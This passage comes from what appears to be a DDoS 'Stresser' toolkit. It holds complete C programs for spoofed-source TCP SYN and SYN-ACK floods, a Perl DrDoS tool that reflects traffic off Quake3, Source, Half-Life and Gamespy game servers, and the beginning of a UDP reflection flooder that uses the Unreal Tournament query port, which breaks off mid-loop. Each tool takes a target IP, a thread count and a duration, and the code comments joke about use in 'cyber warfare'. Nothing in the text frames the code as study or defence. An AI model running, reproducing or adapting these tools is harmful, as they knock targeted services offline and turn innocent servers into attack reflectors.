105 | 	tcph->urg_ptr = 1;
106 | }
107 | void *flood(void *par1)
108 | {
109 | 	char *td = (char *)par1;
110 | 	char datagram[MAX_PACKET_SIZE];
111 | 	struct iphdr *iph = (struct iphdr *)datagram;
112 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
113 | 	struct sockaddr_in sin;
114 | 	sin.sin_family = AF_INET;
115 | 	sin.sin_port = htons (rand() % 2048);
116 | 	sin.sin_addr.s_addr = inet_addr(td);
117 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
118 | 	if(s < 0){
119 | 	fprintf(stderr, "derped.\n");
120 | 	exit(-1);
121 | 	}
122 | 	memset(datagram, 0, MAX_PACKET_SIZE);
123 | 	setup_ip_header(iph);
124 | 	setup_tcp_header(tcph);
125 | 	tcph->dest = htons (rand() % 2048);
126 | 	iph->daddr = sin.sin_addr.s_addr;
127 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
128 | 	int tmp = 1;
129 | 	const int *val = &tmp;
130 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
131 | 	fprintf(stderr, "Unable to allocate.\n");
132 | 	exit(-1);
133 | 	}
134 | 	init_rand(time(NULL));
135 | 	register unsigned int i;
136 | 	i = 0;
137 | 	while(1){
138 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
140 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
141 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
142 | 	tcph->seq = rand_cmwc() & 0xFFFF;
143 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
144 | 	tcph->check = 0;
145 | 	tcph->check = tcpcsum(iph, tcph);
146 | 	pps++;
147 | 	if(i >= limiter)
148 | 	{
149 | 	i = 0;
150 | 	usleep(sleeptime);
151 | 	}
152 | 	i++;
153 | 	}
154 | }
155 | int main(int argc, char *argv[ ])
156 | {
157 | 	if(argc < 5){
158 | 	fprintf(stderr, "Invalid parameters!\n");
159 | 	fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
160 | 	exit(-1);
161 | 	}
162 | 	fprintf(stdout, "Setting up Sockets...\n");
163 | 	int num_threads = atoi(argv[2]);
164 | 	int maxpps = atoi(argv[3]);
165 | 	limiter = 0;
166 | 	pps = 0;
167 | 	pthread_t thread[num_threads];
168 | 	int multiplier = 20;
169 | 	int i;
170 | 	for(i = 0;i<num_threads;i++){
171 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
172 | 	}
173 | 	fprintf(stdout, "Starting Flood...\n");
174 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
175 | 	{
176 | 	usleep((1000/multiplier)*1000);
177 | 	if((pps*multiplier) > maxpps)
178 | 	{
179 | 	if(1 > limiter)
180 | 	{
181 | 	sleeptime+=100;
182 | 	} else {
183 | 	limiter--;
184 | 	}
185 | 	} else {
186 | 	limiter++;
187 | 	if(sleeptime > 25)
188 | 	{
189 | 	sleeptime-=25;
190 | 	} else {
191 | 	sleeptime = 0;
192 | 	}
193 | 	}
194 | 	pps = 0;
195 | 	}
196 | 	return 0;
197 | }


--------------------------------------------------------------------------------
/Stresser/DRDOS/drdos_attack.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl -w
  2 | 
  3 | use Benchmark;
  4 | use Net::RawIP;
  5 | use Time::HiRes qw ( usleep );
  6 | 
  7 | my $rand = int( rand 0x400 );
  8 | my $frag = 0;
  9 | my $doff = 0x05;
 10 | my $ttl  = 0xFF;
 11 | my $tos  = 0x08;
 12 | my $pid;
 13 | my $tx;
 14 | my @list;
 15 | my @running;
 16 | my @pids;
 17 | 
 18 | my %attack =
 19 |   ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
 20 | 
 21 | if ( @ARGV < 7 || @ARGV > 7 ) {
 22 |     &usage();
 23 |     exit;
 24 | }
 25 | 
 26 | $tx = $ARGV[3];
 27 | my $t0 = new Benchmark;
 28 | 
 29 | print "\n*** Now Reading Hosts Into Array\n\n";
 30 | 
 31 | open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
 32 | chomp( @list = <ELITE> );
 33 | close(ELITE);
 34 | 
 35 | sub tcp {
 36 |     my ( $ip, $port ) = @_;
 37 |     my $a = new Net::RawIP(
 38 |         {
 39 |             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
 40 |             tcp => {
 41 |                 dest   => $port,
 42 |                 source => $ARGV[1],
 43 |                 syn    => 1,
 44 |                 ack    => 0,
 45 |                 fin    => 0,
 46 |                 rst    => 0,
 47 |                 psh    => 0,
 48 |                 urg    => 0,
 49 |                 doff   => $doff
 50 |             }
 51 |         }
 52 |     );
 53 |     $a->send( 0, $tx );
 54 | }
 55 | 
 56 | sub quake3 {
 57 |     my ( $ip, $port ) = @_;
 58 |     my $a = new Net::RawIP(
 59 |         {
 60 |             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
 61 |             udp => {
 62 |                 dest   => $port,
 63 |                 source => $ARGV[1],
 64 |                 data   => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
 65 |             }
 66 |         }
 67 |     );
 68 |     $a->send( 0, $tx );
 69 |     
 70 | 
 71 | }
 72 | 
 73 | sub source {
 74 |     my ( $ip, $port ) = @_;
 75 |     my $a = new Net::RawIP(
 76 |         {
 77 |             ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
 78 |             udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
 79 |         }
 80 |     );
 81 |     $a->send( 0, $tx );
 82 |     
 83 | 
 84 | }
 85 | 
 86 | sub hl {
 87 |     my ( $ip, $port ) = @_;
 88 |     my $a = new Net::RawIP(
 89 |         {
 90 |             ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
 91 |             udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
 92 |         }
 93 |     );
 94 |     $a->send( 0, $tx );
 95 |     
 96 | }
 97 | 
 98 | sub gs {
 99 |     my ( $ip, $port ) = @_;
100 |     my $a = new Net::RawIP(
101 |         {
102 |             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
103 |             udp => {
104 |                 dest   => $port,
105 |                 source => $ARGV[1],
106 |                 data   => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
107 |             }
108 |         }
109 |     );
110 |     $a->send( 0, $tx );
111 |     
112 | }
113 | 
114 | sub gs2 {
115 |     my ( $ip, $port ) = @_;
116 |     my $a = new Net::RawIP(
117 |         {
118 |             ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
119 |             udp => {
120 |                 dest   => $port,
121 |                 source => $ARGV[1],
122 |                 data   => chr(254)
123 |                   . chr(253)
124 |                   . chr(0)
125 |                   . chr(67)
126 |                   . chr(79)
127 |                   . chr(82)
128 |                   . chr(89)
129 |                   . chr(255)
130 |                   . chr(255)
131 |                   . chr(255),
132 |             }
133 |         }
134 |     );
135 |     $a->send( 0, $tx );
136 |     
137 | }
138 | 
139 | sub paxor {
140 |     my $type = $_[0];
141 |     unless ( $type eq "mixed" ) {
142 |         while (1) {
143 | 			foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
144 |         }
145 |     }
146 |     else {
147 |         my @part;
148 |         while (1) {
149 |             foreach (@list) {
150 |                 @part = split( ":", $_ );
151 |                 $attack{ $part[2] }->( $part[0], $part[1]);
152 |             }
153 |         }
154 |     }
155 | }
156 | 
157 | 
158 | for($number = 0;$number < $ARGV[5];$number++)
159 | {
160 | $pid = fork();
161 | if ( $pid == 0 ) {
162 |     $SIG{INT} = \&controlsub;
163 | 
164 |     &paxor( $ARGV[4] );
165 | 
166 |     my $t1 = new Benchmark;
167 |     my $td = timediff( $t1, $t0 );
168 |     print "\nTotal Time: ", timestr($td), "\n";
169 |     sleep(5);
170 |     exit;
171 | }
172 | else {
173 |         push(@pids, $pid);
174 | }
175 | }
176 | sleep( $ARGV[6] );
177 | foreach(@pids)
178 | {
179 |         kill( "INT", $_ );
180 | }
181 |         exit;
182 | 
183 | sub controlme {
184 |     $SIG{INT} = \&controlme;
185 |     print "Signal Caught Now Exiting\n";
186 |     my $t1 = new Benchmark;
187 |     my $td = timediff( $t1, $t0 );
188 |     print "\nTotal Time: ", timestr($td), "\n";
189 |     sleep(5);
190 |     exit;
191 | }
192 | 
193 | sub controlsub {
194 |     $SIG{INT} = \&controlsub;
195 |     exit;
196 | }
197 | 
198 | 
199 | sub usage {
200 |     print << "HEREDOC";
201 | $0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
202 | DrDOS Tool V1.8 FINAL by ohnoes1479
203 | 
204 | Time: Limit running time of the script, Time is in seconds
205 | threads: number of threads to run
206 | attack types:
207 | tcp:     reflected tcp SYN attack
208 | quake3:  reflected udp attack using quake3 based servers
209 | source:  reflected udp attack using Valve Source based servers
210 | hl:      reflected udp attack using Half Life servers
211 | gs:      reflected udp attack using Gamespy based servers
212 | gs2:     reflected udp attack using Gamespy 2 based servers
213 | mixed:   specify type of server in list, EG:
214 | 8.8.8.8:80:tcp
215 | 64.120.46.100:28960:quake3
216 | Command: $0 127.0.0.1 8080 servers.txt 5 tcp
217 | HEREDOC
218 | 
219 | }


--------------------------------------------------------------------------------
/Stresser/ESSYN-ACK/essyn_with_ack_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | void init_rand(unsigned long int x)
 28 | {
 29 | 	int i;
 30 | 	Q[0] = x;
 31 | 	Q[1] = x + PHI;
 32 | 	Q[2] = x + PHI + PHI;
 33 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 | 	unsigned long long int t, a = 18782LL;
 38 | 	static unsigned long int i = 4095;
 39 | 	unsigned long int x, r = 0xfffffffe;
 40 | 	i = (i + 1) & 4095;
 41 | 	t = a * Q[i] + c;
 42 | 	c = (t >> 32);
 43 | 	x = t + c;
 44 | 	if (x < c) {
 45 | 	x++;
 46 | 	c++;
 47 | 	}
 48 | 	return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 | 	register unsigned long sum = 0;
 53 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 54 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 55 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 | 	return (unsigned short)(~sum);
 57 | }
 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 59 | 	struct tcp_pseudo
 60 | 	{
 61 | 	unsigned long src_addr;
 62 | 	unsigned long dst_addr;
 63 | 	unsigned char zero;
 64 | 	unsigned char proto;
 65 | 	unsigned short length;
 66 | 	} pseudohead;
 67 | 	unsigned short total_len = iph->tot_len;
 68 | 	pseudohead.src_addr=iph->saddr;
 69 | 	pseudohead.dst_addr=iph->daddr;
 70 | 	pseudohead.zero=0;
 71 | 	pseudohead.proto=IPPROTO_TCP;
 72 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 73 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 74 | 	unsigned short *tcp = malloc(totaltcp_len);
 75 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 76 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 77 | 	unsigned short output = csum(tcp,totaltcp_len);
 78 | 	free(tcp);
 79 | 	return output;
 80 | }
 81 | void setup_ip_header(struct iphdr *iph)
 82 | {
 83 | 	iph->ihl = 5;
 84 | 	iph->version = 4;
 85 | 	iph->tos = 0;
 86 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 87 | 	iph->id = htonl(54321);
 88 | 	iph->frag_off = 0;
 89 | 	iph->ttl = MAXTTL;
 90 | 	iph->protocol = 6;
 91 | 	iph->check = 0;
 92 | 	iph->saddr = inet_addr("192.168.3.100");
 93 | }
 94 | 
 95 | void setup_tcp_header(struct tcphdr *tcph)
 96 | {
 97 | 	tcph->source = htons(5678);
 98 | 	tcph->seq = rand();
 99 | 	tcph->ack_seq = rand();
100 | 	tcph->res2 = 0;
101 | 	tcph->doff = 5;
102 | 	tcph->syn = 1;
103 | 	tcph->ack = 1;
104 | 	tcph->window = rand();
105 | 	tcph->check = 0;
106 | 	tcph->urg_ptr = 0;
107 | }
108 | void *flood(void *par1)
109 | {
110 | 	char *td = (char *)par1;
111 | 	char datagram[MAX_PACKET_SIZE];
112 | 	struct iphdr *iph = (struct iphdr *)datagram;
113 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
114 | 	struct sockaddr_in sin;
115 | 	sin.sin_family = AF_INET;
116 | 	sin.sin_port = htons(floodport);
117 | 	sin.sin_addr.s_addr = inet_addr(td);
118 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
119 | 	if(s < 0){
120 | 	fprintf(stderr, "Could not open raw socket.\n");
121 | 	exit(-1);
122 | 	}
123 | 	memset(datagram, 0, MAX_PACKET_SIZE);
124 | 	setup_ip_header(iph);
125 | 	setup_tcp_header(tcph);
126 | 	tcph->dest = htons(floodport);
127 | 	iph->daddr = sin.sin_addr.s_addr;
128 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
129 | 	int tmp = 1;
130 | 	const int *val = &tmp;
131 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
132 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
133 | 		exit(-1);
134 | 	}
135 | 	init_rand(time(NULL));
136 | 	register unsigned int i;
137 | 	i = 0;
138 | 	while(1){
139 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
140 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
141 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
142 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
143 | 	tcph->seq = rand_cmwc() & 0xFFFF;
144 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
145 | 	tcph->check = 0;
146 | 	tcph->check = tcpcsum(iph, tcph);	
147 | 	pps++;
148 | 	if(i >= limiter)
149 | 	{
150 | 	i = 0;
151 | 	usleep(sleeptime);
152 | 	}
153 | 	i++;
154 | 	}
155 | }
156 | int main(int argc, char *argv[ ])
157 | {
158 | 	if(argc < 6){
159 | 	fprintf(stderr, "Invalid parameters!\n");
160 | 	fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
161 | 	exit(-1);
162 | 	}
163 | 	fprintf(stdout, "Setting up Sockets...\n");
164 | 	int num_threads = atoi(argv[3]);
165 | 	floodport = atoi(argv[2]);
166 | 	int maxpps = atoi(argv[4]);
167 | 	limiter = 0;
168 | 	pps = 0;
169 | 	pthread_t thread[num_threads];
170 | 	int multiplier = 20;
171 | 	int i;
172 | 	for(i = 0;i<num_threads;i++){
173 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
174 | 	}
175 | 	fprintf(stdout, "Starting Flood...\n");
176 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
177 | 	{
178 | 		usleep((1000/multiplier)*1000);
179 | 		if((pps*multiplier) > maxpps)
180 | 		{
181 | 			if(1 > limiter)
182 | 			{
183 | 				sleeptime+=100;
184 | 			} else {
185 | 				limiter--;
186 | 			}
187 | 		} else {
188 | 			limiter++;
189 | 			if(sleeptime > 25)
190 | 			{
191 | 				sleeptime-=25;
192 | 			} else {
193 | 				sleeptime = 0;
194 | 			}
195 | 		}
196 | 		pps = 0;
197 | 	}
198 | 
199 | 	return 0;
200 | }


--------------------------------------------------------------------------------
/Stresser/ESSYN/essyn_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | 
 21 | #define MAX_PACKET_SIZE 4096
 22 | #define PHI 0x9e3779b9
 23 | 
 24 | static unsigned long int Q[4096], c = 362436;
 25 | static unsigned int floodport;
 26 | volatile int limiter;
 27 | volatile unsigned int pps;
 28 | volatile unsigned int sleeptime = 100;
 29 | 
 30 | void init_rand(unsigned long int x)
 31 | {
 32 | 	int i;
 33 | 	Q[0] = x;
 34 | 	Q[1] = x + PHI;
 35 | 	Q[2] = x + PHI + PHI;
 36 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 37 | }
 38 | unsigned long int rand_cmwc(void)
 39 | {
 40 | 	unsigned long long int t, a = 18782LL;
 41 | 	static unsigned long int i = 4095;
 42 | 	unsigned long int x, r = 0xfffffffe;
 43 | 	i = (i + 1) & 4095;
 44 | 	t = a * Q[i] + c;
 45 | 	c = (t >> 32);
 46 | 	x = t + c;
 47 | 	if (x < c) {
 48 | 		x++;
 49 | 		c++;
 50 | 	}
 51 | 	return (Q[i] = r - x);
 52 | }
 53 | unsigned short csum (unsigned short *buf, int count)
 54 | {
 55 | 	register unsigned long sum = 0;
 56 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 57 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 58 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 59 | 	return (unsigned short)(~sum);
 60 | }
 61 | 
 62 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 63 | 
 64 | 	struct tcp_pseudo
 65 | 	{
 66 | 		unsigned long src_addr;
 67 | 		unsigned long dst_addr;
 68 | 		unsigned char zero;
 69 | 		unsigned char proto;
 70 | 		unsigned short length;
 71 | 	} pseudohead;
 72 | 	unsigned short total_len = iph->tot_len;
 73 | 	pseudohead.src_addr=iph->saddr;
 74 | 	pseudohead.dst_addr=iph->daddr;
 75 | 	pseudohead.zero=0;
 76 | 	pseudohead.proto=IPPROTO_TCP;
 77 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 78 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 79 | 	unsigned short *tcp = malloc(totaltcp_len);
 80 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 81 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 82 | 	unsigned short output = csum(tcp,totaltcp_len);
 83 | 	free(tcp);
 84 | 	return output;
 85 | }
 86 | 
 87 | void setup_ip_header(struct iphdr *iph)
 88 | {
 89 | 	iph->ihl = 5;
 90 | 	iph->version = 4;
 91 | 	iph->tos = 0;
 92 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 93 | 	iph->id = htonl(54321);
 94 | 	iph->frag_off = 0;
 95 | 	iph->ttl = MAXTTL;
 96 | 	iph->protocol = 6;
 97 | 	iph->check = 0;
 98 | 	iph->saddr = inet_addr("192.168.3.100");
 99 | }
100 | 
101 | void setup_tcp_header(struct tcphdr *tcph)
102 | {
103 | 	tcph->source = htons(5678);
104 | 	tcph->seq = rand();
105 | 	tcph->ack_seq = 1;
106 | 	tcph->res2 = 1;
107 | 	tcph->doff = 5;
108 | 	tcph->syn = 1;
109 | 	tcph->window = htons(65535);
110 | 	tcph->check = 1;
111 | 	tcph->urg_ptr = 1;
112 | }
113 | 
114 | void *flood(void *par1)
115 | {
116 | 	char *td = (char *)par1;
117 | 	char datagram[MAX_PACKET_SIZE];
118 | 	struct iphdr *iph = (struct iphdr *)datagram;
119 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
120 | 	
121 | 	struct sockaddr_in sin;
122 | 	sin.sin_family = AF_INET;
123 | 	sin.sin_port = htons(floodport);
124 | 	sin.sin_addr.s_addr = inet_addr(td);
125 | 
126 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
127 | 	if(s < 0){
128 | 		fprintf(stderr, "Could not open raw socket.\n");
129 | 		exit(-1);
130 | 	}
131 | 	memset(datagram, 0, MAX_PACKET_SIZE);
132 | 	setup_ip_header(iph);
133 | 	setup_tcp_header(tcph);
134 | 
135 | 	tcph->dest = htons(floodport);
136 | 
137 | 	iph->daddr = sin.sin_addr.s_addr;
138 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
139 | 
140 | 	int tmp = 1;
141 | 	const int *val = &tmp;
142 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
143 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
144 | 		exit(-1);
145 | 	}
146 | 
147 | 	init_rand(time(NULL));
148 | 	register unsigned int i;
149 | 	i = 0;
150 | 	while(1){
151 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
152 | 
153 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
154 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
155 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
156 | 		tcph->seq = rand_cmwc() & 0xFFFF;
157 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
158 | 		tcph->check = 0;
159 | 		tcph->check = tcpcsum(iph, tcph);
160 | 		
161 | 		pps++;
162 | 		if(i >= limiter)
163 | 		{
164 | 			i = 0;
165 | 			usleep(sleeptime);
166 | 		}
167 | 		i++;
168 | 	}
169 | }
170 | int main(int argc, char *argv[ ])
171 | {
172 | 	if(argc < 6){
173 | 		fprintf(stderr, "Invalid parameters!\n");
174 | 		fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
175 | 		exit(-1);
176 | 	}
177 | 
178 | 	fprintf(stdout, "Setting up Sockets...\n");
179 | 
180 | 	int num_threads = atoi(argv[3]);
181 | 	floodport = atoi(argv[2]);
182 | 	int maxpps = atoi(argv[4]);
183 | 	limiter = 0;
184 | 	pps = 0;
185 | 	pthread_t thread[num_threads];
186 | 	
187 | 	int multiplier = 20;
188 | 
189 | 	int i;
190 | 	for(i = 0;i<num_threads;i++){
191 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
192 | 	}
193 | 	fprintf(stdout, "Starting Flood...\n");
194 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
195 | 	{
196 | 		usleep((1000/multiplier)*1000);
197 | 		if((pps*multiplier) > maxpps)
198 | 		{
199 | 			if(1 > limiter)
200 | 			{
201 | 				sleeptime+=100;
202 | 			} else {
203 | 				limiter--;
204 | 			}
205 | 		} else {
206 | 			limiter++;
207 | 			if(sleeptime > 25)
208 | 			{
209 | 				sleeptime-=25;
210 | 			} else {
211 | 				sleeptime = 0;
212 | 			}
213 | 		}
214 | 		pps = 0;
215 | 	}
216 | 
217 | 	return 0;
218 | }


--------------------------------------------------------------------------------
/Stresser/Heartbleed/heartbleed.c:
--------------------------------------------------------------------------------
  1 | /* NEW HEARTBEAT DDOS SCRIPT. USES Unreal Tournament 2004 Query port 7778. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 |         udph->dest = htons(7778);
 80 |         udph->check = 0;
 81 |         memcpy((void *)udph + sizeof(struct udphdr), "\x5c\x73\x74\x61\x74\x75\x73\x5c", 8);
 82 |         udph->len=htons(sizeof(struct udphdr) + 8);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
